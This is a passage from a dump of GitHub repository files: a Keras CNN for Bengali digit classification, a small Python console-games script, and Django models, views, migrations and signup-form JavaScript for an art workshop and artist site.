"license_type": "no_license", "max_line_length": 49, "num_lines": 19, "path": "/data_reader.py", "repo_name": "smafjal/Bengali-Digit-Classification-CNN-Keras", "src_encoding": "UTF-8", "text": "#!usr/bin/env python\n__author__=\"smafjal\"\n\nimport numpy as np\nimport pickle\n\ndef read_data(data_path):\n with open(data_path,\"r\") as f:\n data=pickle.load(f)\n return data\n\ndef main():\n data_x=read_data(\"data_dir/img_data.pickle\")\n data_y=read_data(\"data_dir/img_label.pickle\")\n\n print \"Data-Lan: \",len(data_x)\n\nif __name__==\"__main__\":\n main()\n" }, { "alpha_fraction": 0.6446939706802368, "alphanum_fraction": 0.6675117611885071, "avg_line_length": 27.17346954345703, "blob_id": "bae88e3228062fa317e726ddc6d2f75e0e87870a", "content_id": "827b81a48b167cbe919cef11fb5d6c8a3a8d5aa6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2761, "license_type": "no_license", "max_line_length": 118, "num_lines": 98, "path": "/cnn-basic.py", "repo_name": "smafjal/Bengali-Digit-Classification-CNN-Keras", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport numpy as np\nfrom keras.datasets import mnist\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation, Flatten\nfrom keras.layers import Convolution2D, MaxPooling2D\nfrom keras.utils import np_utils\nfrom keras.models import load_model\nimport data_reader as reader\n\nnp.random.seed(1337)\nbatch_size = 128\nnb_classes = 10\nnb_epoch = 20\n\n# input image dimensions\nimg_rows, img_cols = 28, 28\n# number of convolutional filters to use\nnb_filters = 32\n# size of pooling area for max pooling\npool_size = (2, 2)\n# convolution kernel size\nkernel_size = (3, 3)\n\n\ndef my_model(input_shape):\n model = Sequential()\n model.add(Convolution2D(nb_filters, kernel_size[0], kernel_size[1], border_mode='valid', input_shape=input_shape))\n model.add(Activation('relu'))\n model.add(Convolution2D(nb_filters, kernel_size[0], kernel_size[1]))\n model.add(Activation('relu'))\n model.add(MaxPooling2D(pool_size=pool_size))\n model.add(Dropout(0.25))\n\n model.add(Flatten())\n model.add(Dense(128))\n model.add(Activation('relu'))\n model.add(Dropout(0.5))\n model.add(Dense(nb_classes))\n model.add(Activation('softmax'))\n model.summary()\n return model\n\ndef save_model(model,path):\n model.save(path)\n\ndef load_model(path):\n model=load_weights(path)\n return model\n\ndef train():\n X_train, Y_train, X_test, Y_test = get_data()\n input_shape=(img_rows,img_cols,1)\n model=my_model(input_shape) # get model\n model.compile(loss='categorical_crossentropy',optimizer='adadelta',metrics=['accuracy'])\n model.fit(X_train, Y_train, batch_size=batch_size, nb_epoch=nb_epoch,verbose=1, validation_data=(X_test, Y_test))\n\n save_model(model,'pretrained/cnn-basic-model.h5')\n score = model.evaluate(X_test, Y_test, verbose=0)\n\n print('Test score:', score[0])\n print('Test accuracy:', score[1])\n\n\ndef get_data():\n data_x = reader.read_data(\"pickle/img_data.pickle\")\n data_y = reader.read_data(\"pickle/img_label.pickle\")\n\n tr_lim = int(len(data_x) * 70 / 100)\n\n X_train, Y_train = data_x[:tr_lim], data_y[:tr_lim]\n X_test, Y_test = data_x[tr_lim:], data_y[tr_lim:]\n\n X_train = X_train.reshape(X_train.shape[0], img_rows, img_cols, 1)\n X_test = X_test.reshape(X_test.shape[0], img_rows, img_cols, 1)\n input_shape = (img_rows, img_cols, 1)\n\n X_train = X_train.astype('float32')\n X_test = X_test.astype('float32')\n\n print('X_train shape:', X_train.shape)\n print(X_train.shape[0], 'train samples')\n print(X_test.shape[0], 'test samples')\n return X_train, Y_train, X_test, Y_test\n\ndef print_data(data):\n for x in data:\n print len(x), len(x[0])\n print \"==\" * 50\n\n\ndef main():\n train()\n\n\nif __name__ == \"__main__\":\n main()\n" } ]
4
varshinisiva/Fantasy-Creators
https://github.com/varshinisiva/Fantasy-Creators
35120cb1ebd95e8132fe9e81e3753aba9babec2a
b1c182408b55730c7d3be350b28c81585eb1e398
88ad7fc1ff9d665942e696e27bdc59e4ba02fbbc
refs/heads/master
2020-03-26T15:55:06.143295
2018-08-17T05:22:21
2018-08-17T05:22:21
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6268722414970398, "alphanum_fraction": 0.6484581232070923, "avg_line_length": 41.73584747314453, "blob_id": "201bc094f5668693fdce13c196daefedb4b43609", "content_id": "081ba888f3546843102cbd6198d24f5b09b450e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2270, "license_type": "no_license", "max_line_length": 448, "num_lines": 53, "path": "/Pythonai.py", "repo_name": "varshinisiva/Fantasy-Creators", "src_encoding": "UTF-8", "text": "#This program is used to play truth or dare game and number guessing game\n#This program has coin tossing and dice rolling function which can be used to play other games\nimport random\ntruth=[\"Do you ever bunk classes and caught by teacher?\",\"what is you most embarassing story about you?\",\"Do you ever got beaten badly by your parents?\",\"Do you do something unhygenic? If yes what is it?\",\"What was your worst fail ever?\",\"Out of your friends, who do you think is the dumb one?\",\"What is something really stupid you did?\",\"What is the worst mark you ever gotten?\",\"Did you love someone and got rejected?\",\"who is your first crush?\"]\ndare=[\"lick your elbow\",\"take a bucket of water and pour it upon you\",\"Computer got bored of thinking and you are escaped\",\" eat a chilli powder\",\"call someone and prank them\",\"give a chocolate to your enemy\"]\ncoin=[\"heads\",\"tails\"]\ndice=[\"1\",\"2\",\"3\",\"4\",\"5\",\"6\"]\ndices=[\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"11\",\"12\"]\nguess=[\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\"]\ndef truthordare():\n print(\"Enter truth or dare in lower case\")\n choice=(input(\"\"))\n if (choice==\"truth\"):\n print ('You picked truth.You have to tell...')\n print(random.choice(truth))\n elif(choice==\"dare\"):\n print ('You picked dare.I dare you to...')\n print(random.choice(dare))\n else:\n print('Trying to cheat?Now you have to play twice and give justice!')\ndef cointoss():\n print(random.choice(coin))\ndef rolldice():\n print(\"Enter 1 or 2 dice:\")\n ch=int(input())\n if(ch==1):\n print(random.choice(dice))\n elif(ch==2):\n print(random.choice(dices))\n else:\n print(\"Enter only 1 or 2 dices\")\ndef guessgame():\n print(\"Guess the number between 1 to 10:\")\n c=int(input())\n if(c==random.choice(guess)):\n print(\"You wonnn!\")\n else:\n print(\"You loseee!\")\n#main program starts here\nprint(\"Are you got bored? Enjoy playing the following games...\")\nprint(\"Enter 1.Truth or dare game \\n 2.Guessing game \\n 3.Tossing coin \\n 4.Rolling dice to play\")\nchoices=int(input())\nif(choices==1):\n truthordare()\nelif(choices==2):\n guessgame()\nelif(choices==3):\n cointoss()\nelif(choices==4):\n rolldice()\nelse:\n print(\"Invalid choice\")\nprint(\"**Play again**\")\n \n" } ]
1
rachitptah/ptah
https://github.com/rachitptah/ptah
8c7e42c5adb57412df2c5b07799d49104abbfc5c
28757e68c7008b13d1c3ad1880fc8b1e0647e35d
6b48567be365c5a8129511418b87dd1ace781662
refs/heads/master
2020-05-29T08:54:08.475804
2016-10-15T06:22:59
2016-10-15T06:22:59
69,261,039
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7626886367797852, "alphanum_fraction": 0.7626886367797852, "avg_line_length": 33.761905670166016, "blob_id": "49509329cdfd8f6f72691e797540ff34d7e87fff", "content_id": "dbab99f252fccf2382837080d75fec9e49603c85", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 729, "license_type": "no_license", "max_line_length": 74, "num_lines": 21, "path": "/artshop/views.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.views.generic import TemplateView\nfrom .models import ItemDetails\n\n# Create your views here.\nclass ArtshopListView (TemplateView):\n\ttemplate_name = \"artshop_landing.html\"\n\n\tdef get(self, request,*args,**kwargs):\n\t\tcontext = super(ArtshopListView, self).get_context_data(**kwargs)\n\t\tcontext[\"all_itemdetails\"] = ItemDetails.objects.all()\n\t\treturn self.render_to_response(context)\n\n\nclass ItemDetailsView (TemplateView):\n\ttemplate_name = \"item_details.html\"\n\n\tdef get(self, request,*args,**kwargs):\n\t\tcontext = super(ItemDetailsView, self).get_context_data(**kwargs)\n\t\tcontext[\"item_details\"] = ItemDetails.objects.get(id=context[\"item_id\"])\n\t\treturn self.render_to_response(context)" }, { "alpha_fraction": 0.6764705777168274, "alphanum_fraction": 0.6838235259056091, "avg_line_length": 38, "blob_id": "4629365c67a84bb96185cc5e88e1f6e4ad8a8015", "content_id": "e377adb192c8711b41ca25ce3d8bc5eea27379ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 272, "license_type": "no_license", "max_line_length": 112, "num_lines": 7, "path": "/artist/urls.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^landing/$', views.ArtistsLandingView.as_view(), name=\"artists_landing\"),\n url(r'^landing/artist_id/(?P<artist_id>[0-9]+)$', views.ArtistProfileView.as_view(), name=\"artist_profile\"),\n ]" }, { "alpha_fraction": 0.5495403409004211, "alphanum_fraction": 0.5720122456550598, "avg_line_length": 29.59375, "blob_id": "97d7b10c07225548b6365f180cbba5fa2050d523", "content_id": "a073efe8ef1480d6ff7f9b3d4d942b8d99a6b8ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 979, "license_type": "no_license", "max_line_length": 114, "num_lines": 32, "path": "/art/migrations/0001_initial.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.5 on 2016-09-20 17:14\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='ArtForm',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=250)),\n ],\n ),\n migrations.CreateModel(\n name='ArtType',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=250)),\n ('art_forms', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='art.ArtForm')),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.8139534592628479, "alphanum_fraction": 0.8139534592628479, "avg_line_length": 20.5, "blob_id": "e5b75802364bafab883818aeca51ef88adeb3033", "content_id": "621e2857359ac5cbf56449040c47bf9c6e6c1dbe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 129, "license_type": "no_license", "max_line_length": 32, "num_lines": 6, "path": "/artshop/admin.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import ItemDetails\n\n# Register your models here.\n\nadmin.site.register(ItemDetails)\n" }, { "alpha_fraction": 0.6489796042442322, "alphanum_fraction": 0.6571428775787354, "avg_line_length": 34.14285659790039, "blob_id": "85f66f7b4d916bc65ef46a2b381ecefca3c9346d", "content_id": "a23b28b7c8297b9dec50762e8cbe507998ba3b4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 245, "license_type": "no_license", "max_line_length": 96, "num_lines": 7, "path": "/artshop/urls.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.ArtshopListView.as_view(), name=\"artshop_landing\"),\n url(r'^item_id/(?P<item_id>[0-9]+)$', views.ItemDetailsView.as_view(), name=\"item_details\"),\n ]" }, { "alpha_fraction": 0.6872727274894714, "alphanum_fraction": 0.6872727274894714, "avg_line_length": 22.913043975830078, "blob_id": "b50a46b170865be612413d4e54662c694f27505a", "content_id": "356358396ffb88397d0c850f149984f644556184", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 550, "license_type": "no_license", "max_line_length": 57, "num_lines": 23, "path": "/art/views.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\n# from django.http import HttpResponse\n# from .models import ArtFoorm\n# from .forms\timport formsartform\n\n\n# def artform_create(request):\n# \tartform = formsartform(request.POST or None)\n# \tif artform.is_valid():\n# \t\tinstance = artform.save(commit=False)\n# \t\tinstance.save()\n# \tcontext = {\n# \t\"artform\" : artform,\n# \t}\n# \treturn render (request, \"CreateArtForm.html\", context)\n\n\n# def home(request):\n# \tartform = art_form()\n# \tcontext = {\n# \t\"artform\": artform\n# \t}\n# \treturn\trender (request, \"home.html\", context)\n" }, { "alpha_fraction": 0.7987711429595947, "alphanum_fraction": 0.8018433451652527, "avg_line_length": 24.076923370361328, "blob_id": "66e05fc5249a45234ea15535bcb090713bad9eef", "content_id": "89a4a5bcb69057cb848484b1905f1be1a17dbe9f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 651, "license_type": "no_license", "max_line_length": 90, "num_lines": 26, "path": "/artivities/admin.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom nested_inline.admin import NestedStackedInline, NestedTabularInline, NestedModelAdmin\nfrom .models import Workshop\nfrom .models import Venue\nfrom .models import Registration\nfrom .models import Discount\n\nclass DiscoutnInline(NestedTabularInline):\n\textra = 0\n\tmodel = Discount\n\t\n\n\nclass RegistrationInline(NestedStackedInline):\n model = Registration\n extra = 1\n inlines = [DiscoutnInline]\n \n\nclass WorkshopAdmin(NestedModelAdmin):\n inlines = [RegistrationInline]\n\nadmin.site.register(Workshop, WorkshopAdmin)\nadmin.site.register(Venue)\nadmin.site.register(Registration)\nadmin.site.register(Discount)" }, { "alpha_fraction": 0.5936073064804077, "alphanum_fraction": 0.7305936217308044, "avg_line_length": 20.899999618530273, "blob_id": "f2d82eac27d6e162aaa572a58a444f647ea87422", "content_id": "bf8dfda92fee2829e753d2134f545ab7d1cff3d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 219, "license_type": "no_license", "max_line_length": 29, "num_lines": 10, "path": "/requirements.txt", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "Django==1.9.5\ndjango-countries==3.4.1\ndjango-geoposition==0.2.3\ndjango-localflavor==1.3\ndjango-nested-admin==3.0.8\ndjango-nested-inline==0.3.6\nPillow==3.3.1\npython-monkey-business==1.0.0\nsix==1.10.0\nMySQL-python==1.2.5\n" }, { "alpha_fraction": 0.6954225301742554, "alphanum_fraction": 0.7059859037399292, "avg_line_length": 24.727272033691406, "blob_id": "d0cd4d4a8c398eddcc7f800b5ecc7ce31f305a45", "content_id": "f22bbe43268b10b7ab07ae90db0cc2043e428d0a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 568, "license_type": "no_license", "max_line_length": 87, "num_lines": 22, "path": "/art/models.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals\n\nfrom django.db import models\n\nclass ArtForm(models.Model): \n\tname = models.CharField(max_length=250, blank=False)\n\t# enabled = models.BooleanField(default=False, help_text='Check To Enable A Category')\n\n\tdef __unicode__(self):\n\t\treturn self.name\n\nclass ArtType(models.Model):\n\tart_form = models.ForeignKey(ArtForm, on_delete=models.CASCADE)\n\tname = models.CharField(max_length=250, blank=False)\n\n\tdef __unicode__(self):\n\t\treturn self.name\n\n\n\t# def __init__(self, arg):\n\t# \tsuper(art-type, self).__init__()\n\t# \tself.arg = arg\n\t\t" }, { "alpha_fraction": 0.5564516186714172, "alphanum_fraction": 0.5821114182472229, "avg_line_length": 41.625, "blob_id": "816f8cd376c5d0bd81506037379a1847713acd7a", "content_id": "4ccd01b75591031a0f2cd319a883524f16459197", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1364, "license_type": "no_license", "max_line_length": 143, "num_lines": 32, "path": "/artist/migrations/0001_initial.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.5 on 2016-09-20 17:14\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ('art', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='ArtistProfile',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=100, null=True)),\n ('artist_type', models.CharField(max_length=100, null=True)),\n ('gender', models.CharField(choices=[('M', 'Male'), ('F', 'Female')], max_length=1, null=True)),\n ('mobile_no', models.CharField(blank=True, help_text='Please enter mobile number without +91 or 0', max_length=10, null=True)),\n ('about_yourself', models.TextField(blank=True, max_length=500, null=True)),\n ('avatar', models.ImageField(blank=True, null=True, upload_to='artists_avatar/')),\n ('cover_image', models.ImageField(blank=True, null=True, upload_to='artists_cover_image/')),\n ('dob', models.DateField(null=True)),\n ('art_forms', models.ManyToManyField(to='art.ArtForm')),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.7334437370300293, "alphanum_fraction": 0.746688723564148, "avg_line_length": 25.30434799194336, "blob_id": "f0fb37d098ed38c79232b58ef91612ba3dff0d63", "content_id": "813655f865e8abe191450ba6e3333bc0f3aa549c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 604, "license_type": "no_license", "max_line_length": 71, "num_lines": 23, "path": "/artist/forms.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from django import forms\nfrom .models import ArtistProfile\nfrom django.forms.widgets import SelectDateWidget\n\nclass ArtistForm(forms.ModelForm):\n\n\tdob = forms.DateField(widget=SelectDateWidget(years=range(1950,2016)))\n\n\tdef clean_mobile_no(self):\n\t\tmobile_no = self.cleaned_data['mobile_no']\n\t\tif (mobile_no.isalpha()):\n\t\t\traise forms.ValidationError(\"Please enter a valid mobile number!\")\n\t\treturn mobile_no\n\n\n\tclass Meta:\n\t\tmodel = ArtistProfile\n\t\texclude = ['']\n\n\tdef save(self,commit=False):\n\t\tartist = super(ArtistForm,self).save(commit=False)\n\t\tartist.dob = self.cleaned_data[\"dob\"]\n\t\treturn artist" }, { "alpha_fraction": 0.7507598996162415, "alphanum_fraction": 0.7537993788719177, "avg_line_length": 19.5625, "blob_id": "bf2076e046f1efd9a08d493f4a7301fd202d59b0", "content_id": "256ef7a69c0886677834be3b695badcfd78fe34f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 329, "license_type": "no_license", "max_line_length": 54, "num_lines": 16, "path": "/ptah/wsgi.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "import os\nimport sys\n\nPROJECT_PATH = '/var/www/site/ptah'\nPROJECT_PATH_MAIN = '/var/www/site/ptah/ptah/settings'\n\nsys.path.insert(0, PROJECT_PATH)\nsys.path.append(PROJECT_PATH_MAIN)\n\nos.environ['DJANGO_SETTINGS_MODULE'] = 'ptah.settings'\n\n\nfrom django.core.wsgi import get_wsgi_application\n\n\napplication = get_wsgi_application()\n" }, { "alpha_fraction": 0.7291338443756104, "alphanum_fraction": 0.7291338443756104, "avg_line_length": 33.24324417114258, "blob_id": "b9f0f91b6df07a57085d8ac1ae66ba84b7ca6b5f", "content_id": "05f600b5c6c451ac568e4c6ced694deb88179cdc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1270, "license_type": "no_license", "max_line_length": 78, "num_lines": 37, "path": "/artivities/views.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.views.generic import TemplateView\nfrom .models import Workshop\nfrom artist.models import ArtistProfile\nfrom art.models\timport ArtForm, ArtType\n\n# Create your views here.\nclass WorkshopListView (TemplateView):\n\ttemplate_name = \"artivities_home.html\"\n\n\tdef get(self, request,*args,**kwargs):\n\t\tcontext = super(WorkshopListView, self).get_context_data(**kwargs)\n\t\tart_form = request.GET.get(\"art_form\",\"\")\n\t\tart_type = request.GET.get(\"art_type\",\"\")\n\t\tfilter_query_form = {}\n\t\tif art_form:\n\t\t\tfilter_query_form[\"art_form_id\"] = art_form\n\n\t\tcontext[\"art_types\"] = ArtType.objects.filter(**filter_query_form)\n\n\t\tif art_type:\n\t\t\tfilter_query_form[\"art_type_id\"] = art_type\n\t\tfilter_query_form[\"enable\"]= True\n\t\tcontext[\"all_workshop\"] = Workshop.objects.filter(**filter_query_form)\n\t\tcontext[\"art_forms\"] = ArtForm.objects.all() \n\t\tcontext[\"art_form\"] = art_form\n\t\treturn self.render_to_response(context)\n\n\nclass WorkshopDetailView (TemplateView):\n\ttemplate_name = \"workshop_details.html\"\n\n\tdef get(self, request,*args,**kwargs):\n\t\tcontext = super(WorkshopDetailView, self).get_context_data(**kwargs)\n\t\tcontext[\"workshop_detail\"] = Workshop.objects.get(id=context[\"workshop_id\"])\n\t\t\n\t\treturn self.render_to_response(context)\n\n\n\t" }, { "alpha_fraction": 0.5404040217399597, "alphanum_fraction": 0.5416666865348816, "avg_line_length": 27.303571701049805, "blob_id": "2e4fe4c16f479c4e6ea256e82805d6aa2f9a4b6f", "content_id": "658409efcdb55a5b69b06adf3979afc0ff3043cf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1584, "license_type": "permissive", "max_line_length": 66, "num_lines": 56, "path": "/static/js/base.js", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "var user = {\n\tsignup : function() {\n\t\tvar firstname = document.signupform.first_name.value;\n var username = document.signupform.username.value;\n\t\tvar email = document.signupform.email.value;\n\t\tvar password = document.signupform.password.value;\n\t\tvar confirmpassword = document.signupform.confirmpassword.value;\n\t\tif (firstname == \"\")\n\t\t{\n\t\t\talert(\"Please provide your first name!\")\n\t\t\tdocument.signupform.first_name.focus();\n\t\t}\n else if (username == \"\")\n {\n alert(\"Please provide the username!\")\n document.signupform.first_name.focus();\n }\n else if (email == \"\")\n {\n alert(\"Please provide your Email!\")\n document.signupform.email.focus() ;\n }\n\t\t// else if (!validateEmail())\n // {\n // \talert(\"Please provide valid email!\")\n // \tdocument.signupform.email.focus() ;\n // }\n else if (password == \"\")\n {\n \talert(\"Please enter a valid password\")\n \tdocument.signupform.password.focus() ;\n }\n else if (password != confirmpassword) \n {\n alert(\"Passwords do not match.\");\n \tdocument.signupform.confirmpassword.focus() ;\n }\n else\n {\n \treturn true\n }\n return false\n\t},\n\n\tvalidateEmail : function()\n {\n var emailID = document.signupform.email.value;\n atpos = emailID.indexOf(\"@\");\n dotpos = emailID.lastIndexOf(\".\");\n if (atpos < 1 || ( dotpos - atpos < 2 )) \n {\n return false;\n }\n return true;\n },\n}" }, { "alpha_fraction": 0.5985130071640015, "alphanum_fraction": 0.6183395385742188, "avg_line_length": 46.47058868408203, "blob_id": "27a3dba0f87daa5d1ba2dbf2af501f6fb604842d", "content_id": "a2f1f3c3349bff35cf79f58357006957887cf5c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1614, "license_type": "no_license", "max_line_length": 155, "num_lines": 34, "path": "/artshop/migrations/0001_initial.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.5 on 2016-09-20 17:14\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ('art', '0001_initial'),\n ('artist', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='ItemDetails',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('item_name', models.CharField(max_length=100, null=True, verbose_name='Item Name')),\n ('description', models.TextField(max_length=500, null=True)),\n ('item_price', models.DecimalField(decimal_places=2, max_digits=6, null=True)),\n ('item_image', models.ImageField(null=True, upload_to='art_shop/')),\n ('created_date', models.DateTimeField(auto_now_add=True, verbose_name='Created Date')),\n ('modified_date', models.DateTimeField(auto_now=True, verbose_name='Modified Date')),\n ('artform', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='art.ArtForm', verbose_name='Art Form')),\n ('arttype', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='art.ArtType', verbose_name='Art Type')),\n ('is_artist', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='artist.ArtistProfile', verbose_name='Artist')),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.7358916401863098, "alphanum_fraction": 0.7358916401863098, "avg_line_length": 34.945945739746094, "blob_id": "22d2bb13581a4b6dc4e07b918609516a0fa4320c", "content_id": "094745a91eb585f0e5483ee9b4090d6bf608930c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1329, "license_type": "no_license", "max_line_length": 87, "num_lines": 37, "path": "/artist/views.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.views.generic import TemplateView\nfrom .models import ArtistProfile\nfrom art.models\timport ArtForm, ArtType\nfrom artivities.models import Workshop\n\n# Create your views here.\nclass ArtistsLandingView (TemplateView):\n\ttemplate_name = \"artists_landing.html\"\n\n\tdef get(self, request,*args,**kwargs):\n\t\tcontext = super(ArtistsLandingView, self).get_context_data(**kwargs)\n\t\tart_form = request.GET.get(\"art_form\",\"\")\n\t\tart_type = request.GET.get(\"art_type\",\"\")\n\t\tfilter_query_form = {}\n\t\tif art_form:\n\t\t\tfilter_query_form[\"art_form_id\"] = art_form\n\n\t\tcontext[\"art_types\"] = ArtType.objects.filter(**filter_query_form)\n\n\t\tif art_type:\n\t\t\tfilter_query_form[\"art_type_id\"] = art_type\n\t\tcontext[\"all_artists\"] = ArtistProfile.objects.filter(**filter_query_form)\n\t\tcontext[\"art_forms\"] = ArtForm.objects.all() \n\t\tcontext[\"art_form\"] = art_form\n\t\treturn self.render_to_response(context)\n\t\t\n\n\nclass ArtistProfileView (TemplateView):\n\ttemplate_name = \"artist_profile.html\"\n\n\tdef get(self, request,*args,**kwargs):\n\t\tcontext = super(ArtistProfileView, self).get_context_data(**kwargs)\n\t\tcontext[\"artist_profiles\"] = ArtistProfile.objects.get(id=context[\"artist_id\"])\n\t\tcontext[\"artist_workshops\"] = Workshop.objects.filter(artist_id=context[\"artist_id\"])\n\t\treturn self.render_to_response(context)" }, { "alpha_fraction": 0.7493734359741211, "alphanum_fraction": 0.7560567855834961, "avg_line_length": 46.84000015258789, "blob_id": "c7cc7ce0ac6f23d5d5e73493c52a00d1f14beed6", "content_id": "27b94b1dc8c0c7552b60b37e2daba55ee3414d82", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1197, "license_type": "no_license", "max_line_length": 105, "num_lines": 25, "path": "/artshop/models.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals\n\nfrom django.db import models\nfrom art.models import ArtForm, ArtType\nfrom artist.models import ArtistProfile\n\n# Create your models here.\nclass ItemDetails (models.Model):\n\titem_name = models.CharField(max_length=100, blank=False, null=True, verbose_name=\"Item Name\")\n\tartform = models.ForeignKey(ArtForm, null=True, on_delete=models.CASCADE, verbose_name=\"Art Form\")\n\tarttype = models.ForeignKey(ArtType, null=True, on_delete=models.CASCADE, verbose_name=\"Art Type\")\n\tis_artist = models.ForeignKey(ArtistProfile, null=True, on_delete=models.CASCADE, verbose_name=\"Artist\")\n\tdescription = models.TextField(max_length=500, blank=False, null=True)\n\titem_price = models.DecimalField(max_digits=6, decimal_places=2, null=True)\n\titem_image = models.ImageField (upload_to=\"art_shop/\", blank=False, null=True)\n\tcreated_date = models.DateTimeField(auto_now_add=True, verbose_name=\"Created Date\")\n\tmodified_date = models.DateTimeField(auto_now=True, verbose_name=\"Modified Date\")\n\n\tdef __unicode__(self):\n\t\treturn self.item_name\n\n\t@property\n\tdef item_image_url(self):\n\t if self.item_image and hasattr(self.item_image, 'url'):\n\t return self.item_image.url\n\n" }, { "alpha_fraction": 0.7611940503120422, "alphanum_fraction": 0.7611940503120422, "avg_line_length": 18.14285659790039, "blob_id": "83888c0a3469d37359fe7e772c771065e562fdb3", "content_id": "dad8868eeffb4980785eef506d36f3f2bbcce933", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 134, "license_type": "no_license", "max_line_length": 39, "num_lines": 7, "path": "/artivists/apps.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals\n\nfrom django.apps import AppConfig\n\n\nclass ArtivistsConfig(AppConfig):\n name = 'artivists'\n" }, { "alpha_fraction": 0.543314516544342, "alphanum_fraction": 0.5885122418403625, "avg_line_length": 29.342857360839844, "blob_id": "789ceb089445cfbd682a93382226d8d0bdd332b0", "content_id": "58f78a2b1e32dd1d43763db7efd643d7c7f9479e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1062, "license_type": "no_license", "max_line_length": 135, "num_lines": 35, "path": "/artist/migrations/0003_auto_20160921_1546.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.5 on 2016-09-21 10:16\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('art', '0002_auto_20160921_0021'),\n ('artist', 